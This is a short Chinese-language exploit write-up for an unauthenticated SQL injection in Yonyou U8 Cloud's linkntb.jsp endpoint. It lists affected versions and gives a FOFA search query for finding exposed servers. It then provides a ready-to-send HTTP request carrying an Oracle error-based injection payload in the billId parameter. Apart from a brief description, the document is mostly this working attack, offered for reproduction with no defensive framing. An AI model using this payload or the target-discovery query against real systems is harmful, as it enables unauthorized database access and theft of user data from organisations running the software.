Y3-36用友-U8-Cloud-SQL

漏洞描述：

用友U8 Cloud linkntb.jsp 接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

影响版本：

U8C = 1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp

网站图片：

fofa语法：

title=“U8C”

漏洞复现：

payload：

GET /yer/html/nodes/linkntb/linkntb.jsp?pageId=linkntb&billId=1%27%29+AND+5846%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28120%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%285846%3D5846%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%29--+Astq&djdl=1&rand=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: text/plain; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

效果图：